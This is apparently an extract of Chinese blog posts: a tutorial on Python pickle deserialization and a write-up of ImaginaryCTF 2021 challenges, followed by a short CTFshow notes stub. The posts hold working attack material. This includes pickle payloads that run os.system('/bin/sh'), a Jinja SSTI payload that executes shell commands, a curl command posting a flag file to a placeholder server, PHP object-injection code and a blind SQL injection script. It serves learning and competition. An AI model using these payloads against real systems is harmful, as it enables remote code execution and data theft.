self.name = name def say(self): print (\u0026#34;Hello ! My friends\u0026#34;) a=People() c=pickle.dumps(a) print (c) #output:b\u0026#39;\\x80\\x04\\x95.\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8c\\x08__main__\\x94\\x8c\\x06People\\x94\\x93\\x94)\\x81\\x94}\\x94\\x8c\\x04name\\x94\\x8c\\x06K0rz3n\\x94sb.\u0026#39; import pickle class People(object): def __init__(self,name = \u0026#34;K0rz3n\u0026#34;): self.name = name def say(self): print (\u0026#34;Hello ! My friends\u0026#34;) a=People() c=pickle.dumps(a) d = pickle.loads(c) print(type(d)) d.say() # 可以看到，我们成功通过反序列化的方式恢复了之前我们序列化进去的类对象并成功的执行了对象的方法 # output:\u0026lt;class \u0026#39;__main__.People\u0026#39;\u0026gt; # Hello ! My friends import pickle class People(object): def __init__(self,name = \u0026#34;K0rz3n\u0026#34;): self.name = name def say(self): print (\u0026#34;Hello ! My friends\u0026#34;) a=People() c=pickle.dumps(a) del People d = pickle.loads(c) # 如果我在反序列化以前删除了 People # 这个类，那么我们在反序列化的过程中因为对象在当前的运行环境中没有找到这个类就会报错，从而反序列化失败。 # nootput,die 为什么要实现序列化和反序列化 和其他语言的序列化一样，Python 的序列化的目的也是为了保存、传递和恢复对象的方便性，在众多传递对象的方式中，序列化和反序列化可以说是最简单和最容易试下的方式\npython 是怎么实现序列化和反序列化的 1.几个重要的函数 库 pickle 和 cPickle 后者更快\n序列化：\npickle.dump(文件) pickle.dumps(字符串) 反序列化:\npickle.load(文件) pickle.loads(字符串) PVM(python 虚拟机)是实现 Python 序列化和反序列化的最根本的东西\n2.PVM 的组成 PVM 由三个部分组成，引擎（或者叫指令分析器），栈区、还有一个 Memo (作者也不知道怎么解释，我们姑且叫它 “标签区“)\n1.引擎的作用 从头开始读取流中的操作码和参数，并对其进行处理,zai在这个过程中改变 栈区 和 标签区，处理结束后到达栈顶，形成并返回反序列化的对象\n2.栈区的作用 作为流数据处理过程中的暂存区，在不断的进出栈过程中完成对数据流的反序列化，并最终在栈上生成发序列化的结果\n3.标签区的作用 数据的一个索引或者标记\n3.PVM 操作码 图挂了草草草\n这里面要重点关注几个\nS : 后面跟的是字符串 ( ：作为命令执行到哪里的一个标记 t ：将从 t 到标记的全部元素组合成一个元祖，然后放入栈中 c ：定义模块名和类名（模块名和类名之间使用回车分隔） R ：从栈中取出可调用函数以及元祖形式的参数来执行，并把结果放回栈中 . ：点号是结束符\n4.反序列化流程 序列化就是一个将对象转化成字符串的过程\n我们将下面这个字符串存储为一个文件 shell.pickle\ncos system (S\u0026#39;/bin/sh\u0026#39; tR. 当我们使用下面这个函数对其进行加载的时候\n\u0026gt;\u0026gt;\u0026gt; import pickle \u0026gt;\u0026gt;\u0026gt; pickle.load(open(\u0026#39;shell.pickle\u0026#39;)) # 这边失败了报了个typeerror 给的不是字节编码解析成str了 解释如何执行\n(1)c 后面是模块名，换行后是类名,于是将 os.system 放入栈中 (2)( 这个是标记符，我们将一个 Mark 放入栈中 (3)S 后面是字符串，我们放入栈中 (4)t 将栈中 Mark 之前的内容取出来转化成元祖，再存入栈中 （’/bin/sh’,），同时标记 Mark 消失 (5)R 将元祖取出，并将 callable 取出，然后将元祖作为 callable 的参数，并执行，对应这里就是 os.system(‘/bin/sh’),然后将结果再存入栈中 与 PHP 反序列化的对比 Python 除了能反序列化当前代码中出现的类(包括通过 import的方式引入的模块中的类)的对象以外，还能利用其彻底的面向对象的特性来反序列化使用 types 创建的匿名对象（这部分内容在后面会有所介绍），这样的话就大大拓宽了我们的攻击面。\nPython 反序列化漏洞何来 我们怎么利用反序列化漏洞 1.理论基础 __reduce__ 这个魔法方法\n当序列化以及反序列化的过程中中碰到一无所知的扩展类型(这里指的就是新式类)的时候，可以通过类中定义的__reduce__方法来告知如何进行序列化或者反序列化\n只要在新式类中定义一个 __reduce__ 方法，我们就能在序列化的使用让这个类根据我们在__reduce__ 中指定的方式进行序列化\n关键就在这个方法的返回值上，这个方法可以返回两种类型的值，String 和 tuple ,我们的构造点就在令其返回 tuple 的时候\n当他返回值是一个元祖的时候，可以提供2到5个参数，我们重点利用的是前两个，第一个参数是一个callable object(可调用的对象)，第二个参数可以是一个元祖为这个可调用对象提供必要的参数，如果你认真看上面的 PVM 的指令码，你就会发现这个返回值和其中的一个 R 指令非常的一致，（我猜测这个 R 指令码就是这个 __reduce__ 方法的返回值的底层实现 ）所以这过滤R就不能用reduce了\nimport pickle import os class A(object): def __reduce__(self): a = \u0026#39;ping 127.0.0.1\u0026#39; return (os.system,(a,)) a = A() test = pickle.dumps(a) pickle.loads(test) # output:执行的命令 一个比较好的命令能执行 系统命令，那就是 python pty 模块\nreduce 是利用调用某个 callable 并传递参数来执行的，而我们这个函数本身就是一个 callable\n这时候就要利用我们上面分析的那个 PVM 操作码来自己构造了\n这里也用到了 Python 的一个面向对象的特性，Python 能通过 types.FunctionTyle(func_code,globals(),’’)() 来动态地创建匿名函数，这一部分的内容可以看官方文档的介绍\n这里直接给出 payload\n这是什么鬼。。。。？？？？\nctypes FunctionType (cmarshal loads (cbase64 b64decode (S\u0026#39;YwAAAAABAAAAAgAAAAMAAABzOwAAAGQBAGQAAGwAAH0AAIcAAGYBAGQCAIYAAIkAAGQDAEeIAABkBACDAQBHSHwAAGoBAGQFAIMBAAFkAABTKAYAAABOaf////9jAQAAAAEAAAAEAAAAEwAAAHMsAAAAfAAAZAEAawEAchAAfAAAU4gAAHwAAGQBABiDAQCIAAB8AABkAgAYgwEAF1MoAwAAAE5pAQAAAGkCAAAAKAAAAAAoAQAAAHQBAAAAbigBAAAAdAMAAABmaWIoAAAAAHMHAAAAcGljNC5weVIBAAAABwAAAHMGAAAAAAEMAQQBcwkAAABmaWIoMTApID1pCgAAAHMHAAAAL2Jpbi9zaCgCAAAAdAIAAABvc3QGAAAAc3lzdGVtKAEAAABSAgAAACgAAAAAKAEAAABSAQAAAHMHAAAAcGljNC5weXQDAAAAZm9vBQAAAHMIAAAAAAEMAQ8EDwE=\u0026#39; tRtRc__builtin__ globals (tRS\u0026#39;\u0026#39; tR(tR. ","date":"2021-10-20T00:00:00Z","permalink":"/2021/10/20/python-deserialization/","title":"Python 反序列化"},{"content":"ImaginaryCTF 2021 题解 Roos World https://roos-world.chal.imaginaryctf.org\n[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+((!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(+[![]]+[])[+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[])[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(+[![]]+[])[+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[+[]]+(+[![]]+[])[+[]]+(![]+[])[+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]])[(![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]]((!![]+[])[+[]])[([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]](([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+![]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])+[])[+!+[]])+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+… js f*ck 控制台 console.log()输出得到flag\nSaaS Sed as a Service! (imaginaryctf.org)\n考 sed\nbackend?query=%271p%27+fla* Destructoid https://destructoid.chal.imaginaryctf.org\n传参得到源码?source=123\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 \u0026lt;?php $printflag = false; class X { function __construct($cleanup) { if ($cleanup === \u0026#34;flag\u0026#34;) { echo \u0026#34;NO1\u0026#34;; } $this-\u0026gt;cleanup = $cleanup; } function __destruct() { global $printflag; if ($this-\u0026gt;cleanup !== \u0026#34;flag\u0026#34; \u0026amp;\u0026amp; $this-\u0026gt;cleanup !== \u0026#34;noflag\u0026#34;) { echo \u0026#34;NO2\u0026#34;; } include $this-\u0026gt;cleanup . \u0026#34;.php\u0026#34;; if ($printflag) { echo $FLAG . \u0026#34;\\n\u0026#34;; } } } class Y { function __construct($s) { $this-\u0026gt;secret=$s; } function __wakeup() { echo \u0026#34;wake\\n\u0026#34;; echo $this-\u0026gt;secret . \u0026#34;\\n\u0026#34;; } function __toString() { global $printflag; echo \u0026#34;tostring\u0026#34;; $printflag = true; return (new X($this-\u0026gt;secret))-\u0026gt;cleanup; } } $a=new X(\u0026#34;flag\u0026#34;); $b=new Y($a); $c=new Y($b); echo serialize($c); Chicken Caesar Salad 凯撒密码 移几位试试就行\nBuild-A-Website Build-A-Website version 1.42.69 (imaginaryctf.org)\n考ssti 靠！\n\u0026lt;pre\u0026gt; {{request[\u0026#34;__cl\u0026#34;+\u0026#34;a\u0026#34;+\u0026#34;ss__\u0026#34;].mro()[-1][\u0026#39;__subcla\u0026#39;+\u0026#39;sses__\u0026#39;]()[182].__init__[\u0026#39;__glob\u0026#39;+\u0026#39;als__\u0026#39;][\u0026#39;__builtins__\u0026#39;][\u0026#39;__imp\u0026#39;+\u0026#39;ort__\u0026#39;](\u0026#39;os\u0026#39;).__dict__[\u0026#39;pop\u0026#39;+\u0026#39;en\u0026#39;](\u0026#39;ls\u0026#39;).read()}} \u0026lt;/pre\u0026gt; 然后cat flag.txt就行了 ictf{:rooYay::rooPOG::rooHappy:_:rooooooooooooooooooooooooooo:}\nSinking Calculator 不会\nCalculator (imaginaryctf.org)\n同样的SSTI注入限制了长度\ncurl “https://sinking-calculator.chal.imaginaryctf.org/calc?query=request.application.globals.builtins%5B%27eval%27%5D%28request.data%29\u0026quot; -X GET –data-raw “import(‘os’).system(‘curl http://YOUR_SERVER -F f=@flag’)”\n1.class(g.pop.globals.builtins.open(“flag”,”rb”).read().hex(),16)\nAwkward_Bypass https://awkward-bypass.chal.imaginaryctf.org\n考察sql注入 sqlite3 sqlite3还不太会，日后必学 脚本如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import requests import time url = \u0026#34;https://awkward-bypass.chal.imaginaryctf.org/user\u0026#34; result=\u0026#34;\u0026#34; for i in range(1,1290): head=31 tail=127 while head\u0026lt;tail: mid=(head+tail)\u0026gt;\u0026gt;1 # s=\u0026#34;1\u0026#39; union select 1,2 where unicode(substr((SELECT tbl_name FROM sqlite_master WHERE type = \u0026#39;table\u0026#39;),{},1))\u0026gt;{} and \u0026#39;\u0026#39;=\u0026#39;\u0026#34;.format(i,mid)#爆表 # s=\u0026#34;\u0026#39; union select 1,2 where unicode(substr((SELECT sql FROM sqlite_master WHERE type!=\u0026#39;meta\u0026#39; AND sql NOT NULL AND name =\u0026#39;users\u0026#39;),{},1))\u0026gt;{} and \u0026#39;\u0026#39;=\u0026#39;\u0026#34;.format(i,mid) s=\u0026#34;\u0026#39; union select 1,2 where unicode(substr((SELECT group_concat(password) FROM users),{},1))\u0026gt;{} and \u0026#39;\u0026#39;=\u0026#39;\u0026#34;.format(i,mid) s=\u0026#34;WITH\u0026#34;.join(s) data={\u0026#34;username\u0026#34;: 1,\u0026#34;password\u0026#34;: s} # print(data) # data={\u0026#34;uname\u0026#34;: \u0026#34;1\u0026#39;) or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\u0026#39;ctftraining\u0026#39;),{},1))\u0026gt;{},1,0) #\u0026#34;.format(i,mid),\u0026#34;passwd\u0026#34;: 1} # data={\u0026#34;uname\u0026#34;: \u0026#34;1\u0026#39;) or if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name=\u0026#39;flag\u0026#39;),{},1))\u0026gt;{},1,0) #\u0026#34;.format(i,mid),\u0026#34;passwd\u0026#34;: 1} # data={\u0026#34;uname\u0026#34;: \u0026#34;1\u0026#39; or if(ascii(substr((select flag from ctftraining.flag),{},1))\u0026gt;{},1,0) #\u0026#34;.format(i,mid),\u0026#34;passwd\u0026#34;: 1} r=requests.post(url=url,data=data) print(head,tail) if \u0026#34;502\u0026#34; in r.text: continue print(r.text) if \u0026#34;Ummmmmmm, did you expect a flag to be here?\u0026#34; in r.text: head=mid+1 else: tail=mid if head !=31: result+=chr(head) # print(result) else: break print(result) 总结：tcl\n","date":"2021-08-15T00:00:00Z","permalink":"/2021/08/15/imaginaryctf-2021-writeup/","title":"ImaginaryCTF 2021 题解"},{"content":"CTFshow 刷题记录 刷题整理…待补充\n1 变量覆盖函数\nextract() parse_str() 读取变量\nget_defined_vars 超全局变量 implode — 将一个一维数组的值转化为字符串 $_GLOBALS ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 